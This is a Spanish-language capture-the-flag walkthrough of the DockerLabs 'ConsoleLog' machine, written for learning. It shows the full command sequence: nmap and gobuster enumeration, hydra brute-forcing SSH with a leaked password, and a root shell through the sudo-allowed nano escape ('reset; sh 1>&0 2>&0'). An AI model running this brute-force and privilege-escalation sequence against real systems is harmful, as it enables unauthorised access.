Post

DockerLabs - ConsoleLog

DockerLabs - ConsoleLog

nmap

1
2
3
4
5
6
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Consolelog]
└─$ nmap -p- -sS --min-rate 5000 -v -n -Pn 172.17.0.2 -oG allPorts
PORT     STATE SERVICE
80/tcp   open  http
3000/tcp open  ppp
5000/tcp open  upnp
1
2
3
4
5
6
7
8
9
10
11
12
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Consolelog]
└─$ nmap -sCV -p80,3000,5000 172.17.0.2                           
PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.61 ((Debian))
|_http-title: Mi Sitio
|_http-server-header: Apache/2.4.61 (Debian)
3000/tcp open  http    Node.js Express framework
|_http-title: Error
5000/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey: 
|   256 f8:37:10:7e:16:a2:27:b8:3a:6e:2c:16:35:7d:14:fe (ECDSA)
|_  256 cd:11:10:64:60:e8:bf:d9:a4:f4:8e:ae:3b:d8:e1:8d (ED25519)

análisis

Al acceder al puerto 80 de la maquina, nos encontramos con la siguiente pagina web:

Desktop View

Si miramos en el código de la pagina, encontramos que el botón, al ser accionado, lanza el método authenticate() del fichero authenticate.js:

Desktop View

Dicho método nos da algunas pistas de por donde podemos seguir:

Desktop View

Si tratamos de acceder al recurso llamado /recurso/, vemos que nos da un error:

Desktop View

Por ello, probamos algo diferente, que en este caso es tratar de obtener por fuerza bruta otros recursos disponibles:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Consolelog]
└─$ gobuster dir -u "http://172.17.0.2" -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200 -x .txt,.html,.php
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://172.17.0.2
[+] Method:                  GET
[+] Threads:                 200
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8
[+] Extensions:              txt,html,php
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.html           (Status: 200) [Size: 234]
/backend              (Status: 301) [Size: 310] [--> http://172.17.0.2/backend/]
/javascript           (Status: 301) [Size: 313] [--> http://172.17.0.2/javascript/]

Nos encontramos con el recurso backend, en el que nos listan el contenido de la carpeta del servicio desplegado en el puerto 3000 de la maquina:

Desktop View

Revisando el fichero server.js, encontramos una contraseña:

Desktop View

acceso inicial

Probamos a ver si la contraseña pertenece a algún usuario por SSH empleando hydra para aplicar fuerza bruta:

1
2
3
4
5
6
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Consolelog]
└─$ hydra -L /usr/share/seclists/Passwords/rockyou.txt -p lapa******************************** ssh://172.17.0.2:5000 -t 64 -I 

[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344399 login tries (l:14344399/p:1), ~224132 tries per task
[DATA] attacking ssh://172.17.0.2:5000/
[5000][ssh] host: 172.17.0.2   login: l*****   password: lapa********************************

Concluimos que la contraseña pertenece a cierto usuario por SSH, y nos conectamos con dichas credenciales:

Desktop View

escalada de privilegios (root)

Revisando los permisos SUDO del usuario obtenido, encontramos que puede ejecutar el binario /usr/bin/nano como el usuario root:

1
2
3
4
5
6
l*****@dfebfa8554fa:~$ sudo -l
Matching Defaults entries for l***** on dfebfa8554fa:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User l***** may run the following commands on dfebfa8554fa:
    (ALL) NOPASSWD: /usr/bin/nano

Comprobamos en GTFOBins que podemos obtener una consola como el usuario root realizando las siguientes acciones:

Desktop View

La secuencia es: [Ctrl+R] + [Ctrl+X] + la cadena reset; sh 1>&0 2>&0

Desktop View

Una vez introducido, vemos que obtenemos la consola:

Desktop View

buymecoffee_icon

This post is licensed under CC BY 4.0 by the author.